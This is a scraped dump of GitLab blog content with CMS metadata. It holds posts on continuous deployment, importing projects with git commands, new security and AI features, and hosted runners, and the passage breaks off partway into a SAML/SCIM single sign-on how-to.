Implement proper access controls and security measures\n- Plan for failure with robust rollback procedures\n- Keep your pipeline configurations DRY (Don't Repeat Yourself)\n\n## Scale your deployment strategy\n\nWhat next? Here are some aspects to consider as your continuous deployment strategy matures.\n\n### Advanced security measures\n\nEnhance security through:\n\n- Protected environments with restricted access\n- Required approvals for production deployments\n- Integrated security scanning\n- Automated vulnerability assessments\n- Branch protection rules for deployment-related changes\n\n### Progressive delivery strategies\n\nImplement advanced deployment strategies:\n\n- Feature flags for controlled rollouts\n- Canary deployments for risk mitigation\n- Blue-green deployment strategies\n- A/B testing capabilities\n- Dynamic environment management\n\n### Monitoring and optimization\n\nEstablish robust monitoring practices:\n\n- Track deployment metrics\n- Set up performance monitoring\n- Configure deployment alerts\n- Establish deployment SLOs\n- Regular pipeline optimization\n\n## Why GitLab?\n\nGitLab's continuous deployment capabilities make it a standout choice for modern deployment workflows. The platform excels in streamlining the path from code to production, offering built-in container registry, environment management, and deployment tracking all within a single interface. GitLab's environment-specific variables, deployment approval gates, and rollback capabilities provide the security and control needed for production deployments, while features like review apps and feature flags enable progressive delivery approaches. As part of GitLab's complete DevSecOps platform, these CD capabilities seamlessly integrate with your entire software lifecycle.\n\n## Get started today\n\nThe journey to continuous deployment is an evolution, not a revolution. Start with the fundamentals, build a solid foundation, and gradually incorporate advanced features as your team's needs grow. GitLab provides the tools and flexibility to support you at every stage of this journey, from your first automated deployment to complex, multi-environment delivery pipelines.\n\n> Sign up for a [free, 60-day trial of GitLab Ultimate](https://about.gitlab.com/free-trial/devsecops/) to get started with continous deployment today.",[1385,110,754,695,696],{"slug":2801,"featured":6,"template":678},"from-code-to-production-a-guide-to-continuous-deployment-with-gitlab","content:en-us:blog:from-code-to-production-a-guide-to-continuous-deployment-with-gitlab.yml","From Code To Production A Guide To Continuous Deployment With Gitlab","en-us/blog/from-code-to-production-a-guide-to-continuous-deployment-with-gitlab.yml","en-us/blog/from-code-to-production-a-guide-to-continuous-deployment-with-gitlab",{"_path":2807,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2808,"content":2814,"config":2819,"_id":2821,"_type":16,"title":2822,"_source":17,"_file":2823,"_stem":2824,"_extension":20},"/en-us/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab",{"title":2809,"description":2810,"ogTitle":2809,"ogDescription":2810,"noIndex":6,"ogImage":2811,"ogUrl":2812,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2812,"schema":2813},"Getting started with GitLab: How to import your projects to GitLab","Learn how to import your projects from various sources, including Bitbucket, Gitea, GitHub, and GitLab Self-Managed.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097248/Blog/Hero%20Images/Blog/Hero%20Images/blog-getting-started-with-gitlab-banner-0497-option4-fy25_cFwd8DYFLekdnOLmbbChp_1750097247785.png","https://about.gitlab.com/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Getting started with GitLab: How to import your projects to GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Abubakar Siddiq Ango\"}],\n        \"datePublished\": \"2025-01-28\",\n      }",{"title":2809,"description":2810,"authors":2815,"heroImage":2811,"date":2778,"body":2817,"category":695,"tags":2818},[2816],"Abubakar Siddiq Ango","*Welcome to our \"Getting started with GitLab\" series, where we help newcomers get familiar with the GitLab DevSecOps platform.*\n\nKnowing how to import your projects to GitLab is an essential skill to make the most of the GitLab DevSecOps platform. You’ve [set up your account](https://university.gitlab.com/pages/getting-started), invited users, and [organized](https://about.gitlab.com/blog/getting-started-with-gitlab-how-to-manage-users/) them based on your use case or team structure. Now, you need to bring your existing projects into GitLab and start collaborating. These projects can be local files on your computer or hosted on a different source code management platform. Let's explore the options.\n\n## Importing local project files\n\nYou don't want to start from scratch every time you import a project. Follow these steps to get into GitLab existing legacy projects or applications that exist without version control or use version control.\n\n### Git project\n\n1. If Git is [already initiated](https://docs.gitlab.com/ee/topics/git/commands.html#git-init) in your local project, create a new project in GitLab and obtain the SSH or HTTPS URL by clicking on the **Code** button in the top right corner of your project page.\n\n![create a new project in GitLab with SSH/HTTPS URLs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097254/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097252717.png)\n\n2. Switch to your terminal and ensure you are in your project folder:\n\n```bash  \ncd /project_folder  \n```\n\n3. Backup your existing [Git origin](https://git-scm.com/book/ms/v2/Git-Basics-Working-with-Remotes):\n\n```bash\n\ngit remote rename origin old-origin\n\n```\n\n4. Add the [GitLab remote](https://git-scm.com/book/ms/v2/Git-Basics-Working-with-Remotes) URL for the new origin, when using SSH:\n\n```bash  \ngit remote add origin [git@gitlab.com](mailto:git@gitlab.com):gitlab-da/playground/abubakar/new-test-repo.git  \n```\n\nAnd for HTTPS: \n\n```bash  \ngit remote add origin https://gitlab.com/gitlab-da/playground/abubakar/new-test-repo.git  \n```\n\n5. Then push all existing [branches](https://docs.gitlab.com/ee/user/project/repository/branches/) and [tags](https://docs.gitlab.com/ee/user/project/repository/tags/) to GitLab:\n\n```bash  \ngit push --set-upstream origin --all  \ngit push --set-upstream origin --tags  \n```\n\nAll your file project files, branches, and tags will be pushed to GitLab and you can start collaborating.\n\n### Non-Git project\n\nAlternatively, if you have not initiated Git in your project, you will need to initialize Git, commit existing files, and push to GitLab as follows:\n\n```bash  \ngit init --initial-branch=main  \ngit remote add origin git@gitlab.com:gitlab-da/playground/abubakar/new-test-repo.git  \ngit add .  \ngit commit -m \"Initial commit\"  \ngit push --set-upstream origin main  \n```\n\n## Importing from online sources\n\nIf you have your project on GitLab.com or other platforms and you want to move it to another GitLab instance (like a self-managed instance) or from another platform to GitLab.com, GitLab provides the import project feature when you want to create a new project.\n\n![Create a new project screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097252718.png)\n\nImporting a project migrates the project files and some other components of the project depending on the source. You can import from different sources like Bitbucket, GitHub, Gitea, and a GitLab instance, among other sources. Import sources are enabled by default on GitLab.com, but they need to be [enabled for self-managed](https://docs.gitlab.com/ee/administration/settings/import_and_export_settings.html#configure-allowed-import-sources) by an administrator. We will look at a few of these sources in the following sections.\n\n![Import project from third-party sources](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097252719.png)\n\n## GitLab sources\n\nYou can export projects from GitLab.com and GitLab Self-Managed instances using the Export project feature in a project’s settings. \n\n![Export project screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750097252720.png)\n\nTo access it:\n\n- Go to your project’s settings and click into the **General** area.\n- Scroll to and **Expand Advanced** section.\n- Select **Export project**.\n- A notification will be shown stating: “Project export started. A download link will be sent by email and made available on this page.”\n- After the export is generated, you can follow the link contained in the email or refresh the project settings page to reveal the “Download export” option.\n\n### Importing the project\n\n![Import an exported GitLab project](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750097252722.png)\n\n- Click on the **New project** button in your target GitLab instance.  \n- Select **Import project** and click on **GitLab Export** in the list of import sources.  \n- Specify a project name and select the export file, then click **Import project**.  \n- An \"import in progress\" page will be shown and once complete, you will be redirected to the imported project.\n\nDepending on the size of your project, the import time may vary. It's important to note that not everything in a project might be exported and a few things might change after import. Review the [documentation](https://docs.gitlab.com/ee/user/project/settings/import_export.html#export-a-project-and-its-data) to understand the limitations. If you want to migrate a whole group instead of individual projects, the [Direct Transfer method](https://docs.gitlab.com/ee/user/group/import/index.html) is recommended; this creates a copy of an entire group.\n\n## Third-party providers\n\nGitLab supports importing from Bitbucket Cloud, Bitbucket Server, FogBugz, Gitea, and GitHub. The import process is similar across all the supported third parties — the main difference is in the method of authentication. Let's look at a few of them.\n\n### GitHub\n\n![Authenticate with GitHub screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097252723.png)\n\nThere are three methods to import GitHub projects in to GitLab:\n\n- [Using GitHub OAuth](https://docs.gitlab.com/ee/user/project/import/github.html#use-github-oauth)\n- [Using a GitHub personal access token](https://docs.gitlab.com/ee/user/project/import/github.html#use-a-github-personal-access-token)\n- [Using the API](https://docs.gitlab.com/ee/user/project/import/github.html#use-the-api)\n\nImporting using GitHub OAuth and personal access token are similar. The difference lies in how your authorize GitLab to access your repositories. The OAuth method is easier because you only need to click on the “Authorize with GitHub” button and your are redirected to your GitHub account to authorize the connection. Then the list of your projects is loaded for you to pick those you want to import.\n\n![Import repositories from GitHub screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097252725.png)\n\nAlternatively, you will need to generate a GitHub personal access token, selecting the `repo` and `read:org` scopes, and then provide it on the \"Import\" page.  For API imports, you can use the same personal access token with our [Import REST API endpoints](https://docs.gitlab.com/ee/api/import.html#import-repository-from-github) in your script or application.\n\nIn this demo, GitLab Senior Developer Advocate Fernando Diaz explains how to import a project from GitHub using the OAuth method:\n\n\u003C!-- blank line -->  \n\u003Cfigure class=\"video_container\"> \n  \u003Ciframe src=\"https://www.youtube.com/embed/0Id5oMl1Kqs?si=esF6wbz2j2JlhDVL\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>  \n\u003C/figure>\n\u003C!-- blank line -->\n\nYou can learn about prerequisites, known issues, importing from GitHub Enterprise, and other valuable information from the GitLab [import documentation](https://docs.gitlab.com/ee/user/project/import/github.html).\n\n### Bitbucket\n\nImporting projects from Bitbucket is similar to importing them from GitHub. While using OAuth is applicable to [Bitbucket Cloud](https://docs.gitlab.com/ee/user/project/import/bitbucket.html), the SaaS version of Bitbucket, you'll need to provide a URL, username, and personal access token for [Bitbucket Server](https://docs.gitlab.com/ee/user/project/import/bitbucket_server.html), the enterprise self-hosted version. Clicking on the Bitbucket Cloud option on the \"Import\" screen automatically takes you to Atlassian authentication for Bitbucket.\n\n![Import project from BitBucket](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097252726.png)\n\nYou can also import Bitbucket projects using the [GitLab Import API](https://docs.gitlab.com/ee/api/import.html).\n\n### Gitea\n\n![Import project from Gitea](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097252727.png)\n\nImporting projects from [Gitea](https://docs.gitlab.com/ee/user/project/import/gitea.html) requires the creation of a [personal access token](https://docs.gitea.com/next/development/api-usage#authentication-via-the-api) on the Gitea platform and providing it along with the Gitea server URL on the GitLab import page. OAuth authentication is not supported. \n\n### Generic remote Git repository\n\n![Import project from remote Git repository](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097252728.png)\n\nWhere your Git provider is not supported or import is not possible using the supported methods, a repository can be imported using its accessible `https://` or `git://` URL.  If it's not publicly accessible, you will provide the repository URL along with username and password (or access token where applicable due to multifactor authentication).\n\nThis method can also be used for maintaining a copy of a remote project and keeping it in sync, i.e., [mirroring](https://docs.gitlab.com/ee/user/project/repository/mirror/). Mirroring allows you to maintain repositories across different platforms and keep them synced. This can be to separate private and public access to project while ensuring both ends have the same copy, which is useful when open-sourcing  internal projects. It can also be used when working with contractors and both parties use different platforms, and access to codebase is necessary on both ends. \n\n## Summary\n\nImporting and migrating between GitLab instances and from other sources is an important process that needs to be planned to ensure the expectations are clear on what gets imported and with which method. While most third-party methods import project items, including files, issues, and merge requests, some methods have known issues and limitations. The [GitLab import section](https://docs.gitlab.com/ee/user/project/import/) of the documentation has detailed information on all the supported methods that can help you plan your migration.   \n\n> #### Want to take your learning to the next level? [Sign up for GitLab University courses](https://university.gitlab.com/). Or you can get going right away with [a free 60-day trial of GitLab Ultimate](https://about.gitlab.com/free-trial/devsecops/).\n\n## \"Getting started with GitLab\" series\n\n- [How to manage users](https://about.gitlab.com/blog/getting-started-with-gitlab-how-to-manage-users/)\n- [How to import your projects to GitLab](https://about.gitlab.com/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab/)  \n- [Mastering project management](https://about.gitlab.com/blog/getting-started-with-gitlab-mastering-project-management/)\n- [Automating Agile workflows with the gitlab-triage gem](https://about.gitlab.com/blog/automating-agile-workflows-with-the-gitlab-triage-gem/)\n- [Working with CI/CD variables](https://about.gitlab.com/blog/getting-started-with-gitlab-working-with-ci-cd-variables/)\n",[695,696,479],{"slug":2820,"featured":6,"template":678},"getting-started-with-gitlab-how-to-import-your-projects-to-gitlab","content:en-us:blog:getting-started-with-gitlab-how-to-import-your-projects-to-gitlab.yml","Getting Started With Gitlab How To Import Your Projects To Gitlab","en-us/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab.yml","en-us/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab",{"_path":2826,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2827,"content":2832,"config":2837,"_id":2839,"_type":16,"title":2840,"_source":17,"_file":2841,"_stem":2842,"_extension":20},"/en-us/blog/secure-compliant-and-ai-powered-get-to-know-3-new-gitlab-features",{"title":2828,"description":2829,"ogTitle":2828,"ogDescription":2829,"noIndex":6,"ogImage":732,"ogUrl":2830,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2830,"schema":2831},"Secure, compliant, and AI-powered: Get to know 3 new GitLab features","Enhance security, leverage new AI capabilities, and protect sensitive data with our latest platform improvements.","https://about.gitlab.com/blog/secure-compliant-and-ai-powered-get-to-know-3-new-gitlab-features","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Secure, compliant, and AI-powered: Get to know 3 new GitLab features\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jessica Hurwitz\"}],\n        \"datePublished\": \"2025-01-27\",\n      }",{"title":2828,"description":2829,"authors":2833,"heroImage":732,"date":2834,"body":2835,"category":695,"tags":2836},[1185],"2025-01-27","AI capabilities are rapidly reshaping how teams build, secure, and deploy applications. As part of our ongoing commitment to helping you navigate the evolving marketplace, GitLab has introduced more than 440 improvements in the past three releases. We're excited to spotlight three standout features making an immediate impact on how teams approach AI-powered DevSecOps. In addition, we announced we are partnering with AWS to launch [GitLab Duo with Amazon Q](https://about.gitlab.com/blog/gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai/), combining our strengths to transform software development. We're creating an experience, together, that makes AI-powered development feel seamless and upholds the security, compliance, and reliability that enterprises require.\n\n> Learn how GitLab can [deliver 483% ROI over the next three years](https://about.gitlab.com/blog/gitlab-ultimates-total-economic-impact-483-roi-over-3-years/), according to Forrester Consulting.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://player.vimeo.com/video/1056012314?badge=0\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media\" title=\"GitLab 17.6-17.8 Quarterly Release Overview\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## 1. Vulnerability Resolution: Streamline security remediation\n\nGitLab’s 2024 [Global DevSecOps Report](https://about.gitlab.com/developer-survey/) found that 66% of companies are releasing software twice as fast — or faster — than in previous years, as businesses strive to deliver more value to their customers than competitors. However, speed introduces risk. With security teams [outnumbered by dev teams 80:1](https://www.opentext.com/assets/documents/en-US/pdf/developer-driven-appsec-security-at-the-speed-of-devops-pp-en.pdf), threat actors are able to exploit applications at a record pace. Last year alone, [80% of the top data breaches](https://www.crowdstrike.com/2024-state-of-application-security-report/) stemmed from attacks at the application layer.\n\n[GitLab Duo Vulnerability Resolution](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-resolution) addresses this challenge head-on. When vulnerabilities are detected in your code, you can now access detailed information right from the vulnerability report and invoke GitLab Duo to automatically create a merge request that updates your code and mitigates the risk. While developers must review these auto-generated merge requests before merging to verify the changes, this automation significantly streamlines the remediation process. Vulnerability Resolution pairs with [Vulnerability Explanation](https://about.gitlab.com/the-source/ai/understand-and-resolve-vulnerabilities-with-ai-powered-gitlab-duo/), which also recently became generally available. Vulnerability Explanation gives developers a detailed description of the vulnerability infecting their code, real-world examples of how attackers can exploit the vulnerable code, and practical suggestions for remediation.\n\nBy expediting the vulnerability remediation process, your teams can focus on delivering software faster while maintaining strong security practices. With less time spent researching and remediating vulnerabilities, developers can concentrate on building features that drive business value.\n\n_GitLab Duo Vulnerability Resolution is available as a [GitLab Duo Enterprise add-on](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/?type=free-trial&toggle=gitlab-duo-pro)._\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"\nhttps://www.youtube.com/embed/VJmsw_C125E?si=W7n1ESS63xkPyH4H\" frameborder=\"0\" title=\"GitLab Vulnerability Resolution\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## 2. Model Registry: Breaking down silos between Data Science and Development teams\n\nFor organizations building AI-powered applications, bridging the gap between data science and software development teams has been a persistent challenge. Data scientists and developers often work in disconnected tools and workflows, leading to friction, delays, and potential errors when deploying models to production.\n\n[GitLab Model Registry](https://docs.gitlab.com/ee/user/project/ml/model_registry/) directly addresses this challenge by providing a centralized hub where data science and development teams can collaborate seamlessly within their existing GitLab workflow. Built with [MLflow](https://docs.gitlab.com/ee/user/project/ml/experiment_tracking/mlflow_client.html#model-registry) native integration, the registry allows data scientists to continue using their preferred tools while making models and artifacts instantly accessible to the broader development team.\nThis unified approach transforms team collaboration. Data scientists can version models, store artifacts, and document model behavior through comprehensive model cards, while developers can easily integrate these models into their applications using GitLab CI/CD pipelines for automated testing and deployment.\n\nAdditionally, the Model Registry's semantic versioning and GitLab API integration enables teams to implement robust governance and automate production deployments, creating a streamlined environment where data scientists and developers can work together effectively to deliver AI-powered innovation.\n\n_Model Registry is available across all tiers for SaaS and self-managed customers. See the [release blog for 17.6](https://about.gitlab.com/releases/2024/11/21/gitlab-17-6-released/#model-registry-now-generally-available) and [documentation](https://docs.gitlab.com/ee/user/project/ml/model_registry/) for more._\n\n## 3. Secret Push Protection: Shift security left with proactive secret detection\n\nTeams often face a critical security challenge: Developers may hardcode sensitive information like API keys, tokens, and credentials as plain text in source code repositories, sometimes without even realizing it. This creates an easy target for threat actors and puts your organization at risk.\n\n[Secret Push Protection](https://about.gitlab.com/blog/prevent-secret-leaks-in-source-code-with-gitlab-secret-push-protection/) directly addresses this problem by blocking developers from pushing code that contains secrets, significantly reducing the likelihood of a breach. It works by leveraging customizable rules to identify high-confidence secrets before they ever reach your repository.\n\nWhat makes this solution particularly powerful is its integration with our pipeline secret detection, creating a comprehensive defense strategy.\n\n_Secret Push Protection is now generally available for all [GitLab Ultimate tier](https://about.gitlab.com/pricing/ultimate/) and [GitLab Dedicated](https://about.gitlab.com/dedicated/) customers._\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"\nhttps://www.youtube.com/embed/SFVuKx3hwNI?si=aV_3Lazs2AiDH3Jf\" title=\"Introduction to Secret Push Protection\" frameborder=\"0\" title=\"GitLab Vulnerability Resolution\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Put these features to work today\n\nAt GitLab, we’re committed to making it easier for teams to build software, faster. Capabilities like GitLab Duo Vulnerability Resolution, Model Registry, and Secret Push Protection are just a few of the recent innovations we’ve delivered to help developers and security teams level up their DevSecOps workflows. To learn more, check out our [releases page](https://about.gitlab.com/releases/categories/releases/).\n\n> Get started with these new features today with [a free, 60-day trial of GitLab Ultimate](https://about.gitlab.com/free-trial/).\n",[943,479,754,695,674],{"slug":2838,"featured":92,"template":678},"secure-compliant-and-ai-powered-get-to-know-3-new-gitlab-features","content:en-us:blog:secure-compliant-and-ai-powered-get-to-know-3-new-gitlab-features.yml","Secure Compliant And Ai Powered Get To Know 3 New Gitlab Features","en-us/blog/secure-compliant-and-ai-powered-get-to-know-3-new-gitlab-features.yml","en-us/blog/secure-compliant-and-ai-powered-get-to-know-3-new-gitlab-features",{"_path":2844,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2845,"content":2851,"config":2856,"_id":2858,"_type":16,"title":2859,"_source":17,"_file":2860,"_stem":2861,"_extension":20},"/en-us/blog/hosted-runners-for-gitlab-dedicated-now-in-limited-availability",{"title":2846,"description":2847,"ogTitle":2846,"ogDescription":2847,"noIndex":6,"ogImage":2848,"ogUrl":2849,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2849,"schema":2850},"Hosted runners for GitLab Dedicated: Now in limited availability"," Simplify CI/CD infrastructure management with hosted runners for GitLab Dedicated, a fully managed solution that handles all aspects of runner infrastructure.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664751/Blog/Hero%20Images/AdobeStock_640077932.jpg","https://about.gitlab.com/blog/hosted-runners-for-gitlab-dedicated-now-in-limited-availability","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Hosted runners for GitLab Dedicated: Now in limited availability\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gabriel Engel\"}],\n        \"datePublished\": \"2025-01-23\",\n      }",{"title":2846,"description":2847,"authors":2852,"heroImage":2848,"date":2853,"body":2854,"category":695,"tags":2855},[769],"2025-01-23","We are excited to announce that hosted runners for [GitLab Dedicated](https://about.gitlab.com/dedicated/), our single-tenant SaaS solution, have transitioned from [beta](https://about.gitlab.com/blog/hosted-runners-for-gitlab-dedicated-available-in-beta/) to limited availability, marking a significant milestone in our commitment to simplifying CI/CD infrastructure management for our customers.\n\n## Streamlined CI/CD infrastructure management\n\nManaging runner infrastructure has traditionally been a complex undertaking, requiring dedicated resources and expertise to maintain optimal performance. Hosted runners for GitLab Dedicated eliminates these challenges by providing a fully managed solution that handles all aspects of runner infrastructure. This allows your teams to focus on what matters most – building and deploying great software.\n\n## Key benefits\n\n### Reduced operational overhead\n\nBy choosing hosted runners, you can eliminate the complexity of provisioning, maintaining, and securing your runner infrastructure. Our fully managed service handles all aspects of runner operations, from deployment to updates and security patches.\n\n### Automatic scaling\n\nHosted runners automatically scale to match your CI/CD demands, ensuring consistent performance during high-traffic periods and for large-scale projects. This dynamic scaling capability means you'll always have runners available to pick up your CI/CD jobs and ensure optimal efficiency of your development teams.\n\n### Cost optimization\n\nWith hosted runners, you only pay for the resources you actually use. This consumption-based model eliminates the need to maintain excess capacity for peak loads, potentially reducing your infrastructure costs while ensuring resources are available when needed.\n\n### Enterprise-grade security\n\nFollowing the same security principles as GitLab Dedicated, hosted runners provide complete isolation from other tenants and are secure by default. Jobs are executed in fully-isolated VMs with no inbound traffic allowed. This means you can maintain the highest security standards without the complexity of implementing and maintaining security measures yourself.\n\n## Introducing native Arm64 support\n\nOur hosted runners now include native Arm64 support in addition to our existing x86-64 runners, offering significant advantages for modern development workflows.\n\n### Enhanced performance for Arm-based development\n\nNative Arm64 runners enable you to build, test, and deploy Arm-based applications in their native environment, ensuring optimal performance and compatibility. Teams developing Docker images or services targeting Arm-based cloud platforms can see build times cut significantly, accelerating their development cycles and deployments.\n\n### Cost-efficient computing\n\nArm-based runners can significantly reduce your computing costs, due to their efficient processing architecture and lower cost per minute. For compatible jobs, this means more affordable pipeline execution.\n\n### Native building capabilities\n\nWith support for both x86-64 and Arm64 architectures, you can:\n- build and test applications natively on either architecture\n- create multi-architecture container images efficiently\n- validate cross-platform compatibility in your CI/CD pipeline\n- optimize your delivery pipeline for specific target platforms\n- eliminate the performance overhead of emulation when building for Arm targets\n\nThis dual-architecture support ensures you have the flexibility to choose the right environment for each specific workload while maintaining a consistent and efficient CI/CD experience across all your projects.\n\n## Available runner sizes\n\nWe're expanding our runner offerings to include both x86-64 and Arm64 architectures with a range of configurations. The following sizes are available:\n\n| Size | vCPUs | Memory | Storage |\n|------|--------|---------|----------|\n| Small    | 2      | 8 GB    | 30 GB    |\n| Medium    | 4      | 16 GB   | 50 GB    |\n| Large    | 8      | 32 GB   | 100 GB   |\n| X-Large   | 16     | 64 GB   | 200 GB   |\n| 2X-Large  | 32     | 128 GB  | 200 GB   |\n\nThis expanded size support allows you to optimize your CI/CD pipeline performance based on your application's specific requirements.\n\n## What's next for hosted runners\n\nWe plan to release hosted runners in general availability in May 2025. The release includes compute minute visualization to help you better understand and control your CI/CD usage across your organization.\n\nWe'll be expanding our hosted runners offering with several new features coming later this year:\n- Network controls for enhanced security and compliance\n- MacOS runners to support application development for the Apple ecosystem\n- Windows runners for .NET and Windows-specific workloads\n\nThese additions will provide even more flexibility and coverage for your CI/CD needs, allowing you to consolidate all your build and test workflows on GitLab Dedicated hosted runners.\n\nReady to simplify your CI/CD infrastructure? Contact your GitLab representative or [reach out to our sales team](https://about.gitlab.com/dedicated/) to learn more about hosted runners for GitLab Dedicated.\n",[943,479,754,736,110,185],{"slug":2857,"featured":6,"template":678},"hosted-runners-for-gitlab-dedicated-now-in-limited-availability","content:en-us:blog:hosted-runners-for-gitlab-dedicated-now-in-limited-availability.yml","Hosted Runners For Gitlab Dedicated Now In Limited Availability","en-us/blog/hosted-runners-for-gitlab-dedicated-now-in-limited-availability.yml","en-us/blog/hosted-runners-for-gitlab-dedicated-now-in-limited-availability",{"_path":2863,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2864,"content":2870,"config":2875,"_id":2877,"_type":16,"title":2878,"_source":17,"_file":2879,"_stem":2880,"_extension":20},"/en-us/blog/how-to-gitlab-single-sign-on-with-saml-scim-and-azures-entra-id",{"title":2865,"description":2866,"ogTitle":2865,"ogDescription":2866,"noIndex":6,"ogImage":2867,"ogUrl":2868,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2868,"schema":2869},"How-to: GitLab Single Sign-on with SAML, SCIM, and Azure’s Entra ID","Follow this detailed walk-through of the configuration steps required to configure GitLab Single Sign-on, using Microsoft Azure’s Entra ID as the identity provider.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098047/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_1097303277_6gTk7M1DNx0tFuovupVFB1_1750098046895.jpg","https://about.gitlab.com/blog/how-to-gitlab-single-sign-on-with-saml-scim-and-azures-entra-id","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How-to: GitLab Single Sign-on with SAML, SCIM, and Azure’s Entra ID\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rob Jackson\"}],\n        \"datePublished\": \"2025-01-23\",\n      }",{"title":2865,"description":2866,"authors":2871,"heroImage":2867,"date":2853,"body":2873,"category":674,"tags":2874},[2872],"Rob Jackson","As organizations increase in size, it becomes increasingly difficult and critical to ensure that the right team members have access to the right groups and projects within their development platform. GitLab offers some powerful methods to manage user access, especially now with [custom roles](https://about.gitlab.com/blog/how-to-tailor-gitlab-access-with-custom-roles/), but performing this at scale through a point-and-click user interface can be frustrating. However, all is not lost. You can use Security Assertion Markup Language (SAML) and System for Cross-domain Identity Management (SCIM) as a solution. (There are moments where I’m grateful for acronyms.) \n\nI was researching this topic for a particular customer, and walking through the GitLab documentation on the capabilities, but I never felt like I truly understood the integration. As is often the case, especially when dealing with integrating components, the knowledge from experience far outweighs that gained from reading or watching. In that light, I wanted to share my steps along this path and invite you all to join me. All you need is a free trial of Microsoft Azure Entra ID and GitLab Premium with a top-level group on GitLab.com.  \n\n**Note:** This exercise produces a working integration, however, for production environments there may be necessary deviations. For example, the user account email for the identity provider (Entra ID in this case) will likely not match your GitLab account email. \n\n## Creating the application in Entra ID\n\nFirst, go to the Entra ID admin center. Within the **Applications** area, select **Enterprise Applications**. We’re going to create a new application, and then create our own application.\n\n![Entra ID application creation flow](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image13_aHR0cHM6_1750098073325.png)\n\n\u003Ccenter>\u003Ci>Figure 1: Entra ID application creation flow\u003C/i>\u003C/center>\u003Cbr>\n\nWith our new application created, we can start configuring the single sign-on (SSO) parameters for our application. For this task, you may want to have side-by-side browser windows. One window on your Entra ID application, and another window on the SAML settings for your GitLab group. Those settings are located under **Settings**, then SAML SSO on the left side of your GitLab window, as shown in Figure 2. If you don’t see this option, you aren’t in the top-level group, don’t have permission to configure SAML, or don’t have GitLab Premium enabled for that group.\n\n![GitLab SAML configuration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750098073326.png)\n\n\u003Ccenter>\u003Ci>Figure 2: GitLab SAML configuration\u003C/i>\u003C/center>\u003Cbr>\n\nWithin your Entra ID interface, select **Single sign-on** and click the SAML card.\n\n![Entra ID SAML configuration](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image24_aHR0cHM6_1750098073328.png)\n\n\u003Ccenter>\u003Ci>Figure 3: Entra ID SAML configuration\u003C/i>\u003C/center>\u003Cbr>\n\nWith the side-by-side view, the SAML configuration settings are on the left and the GitLab SSO settings on the right. \n\n![Side-by-side view of Entra ID and GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098073/Blog/Content%20Images/Blog/Content%20Images/image16_aHR0cHM6_1750098073330.png)\n\n\u003Ccenter>\u003Ci>Figure 4: Side-by-side view of Entra ID and 